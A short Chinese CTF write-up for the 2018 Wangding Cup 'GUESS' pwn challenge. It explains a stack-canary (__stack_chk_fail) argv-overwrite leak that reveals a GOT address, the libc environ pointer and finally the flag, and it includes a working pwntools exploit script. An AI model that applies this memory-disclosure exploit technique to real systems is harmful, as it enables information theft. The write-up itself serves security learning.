2018网鼎杯 GUESS

Author Avatar
Xzhah 9月 09, 2018
  • 在其它设备中阅读本文章

思路

初学PWN,wp可能有错误的地方

因为有canary,所以输入大量字符覆盖canary后会抛出文件路径(ebp+16)。

然后程序逻辑会fork三次子进程,所以有三次泄露的机会可以用。

第一次我们用puts在Got表中的位置去覆盖ebp+16,得到puts的真实地址

然后用libcsearcher确定libc,将environ真实地址覆盖ebp+16,得到环境变量地址(在栈上)

然后计算环境变量和buf(也就是flag)的差,将flag的真实地址覆盖ebp+16,得到flag的值

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
from LibcSearcher import *
p=process('./GUESS')
elf=ELF('./GUESS')
puts_addr=elf.got['puts']
print hex(puts_addr)
payload1=p64(puts_addr)*100
p.sendline(payload1)
p.recvuntil('one more challenge!!\n')
puts_real=p.recv()[33:39]
#a=p.recvline()
#a=p.recv()
print puts_real
#puts_real = a[33:33+6].ljust(8,"\x00")
#puts_real = u64(puts_real)
# print puts_real
print hex(u64(puts_real.ljust(8,'\x00')))
puts_real=u64(puts_real.ljust(8,'\x00'))
libc=LibcSearcher('puts',puts_real)
base=puts_real-libc.dump('puts')
print "base ",hex(base)
print hex(libc.dump('puts'))
environ_real=base+libc.dump('environ')
print "offset ",hex(environ_real - base)
#print libc.dump('environ')
p.sendline(p64(environ_real)*100)
p.recvuntil('one more challenge!!\n')
a=p.recv()
print a
path_real=a[33:39]
flag_real=u64(path_real.ljust(8,'\x00'))-0x4c9+0x361
print hex(flag_real)
gdb.attach(p,"b *0x400ad6")
raw_input()
p.sendline(p64(flag_real)*100)
p.recvuntil('one more challenge!!\n')
a=p.recv()
print a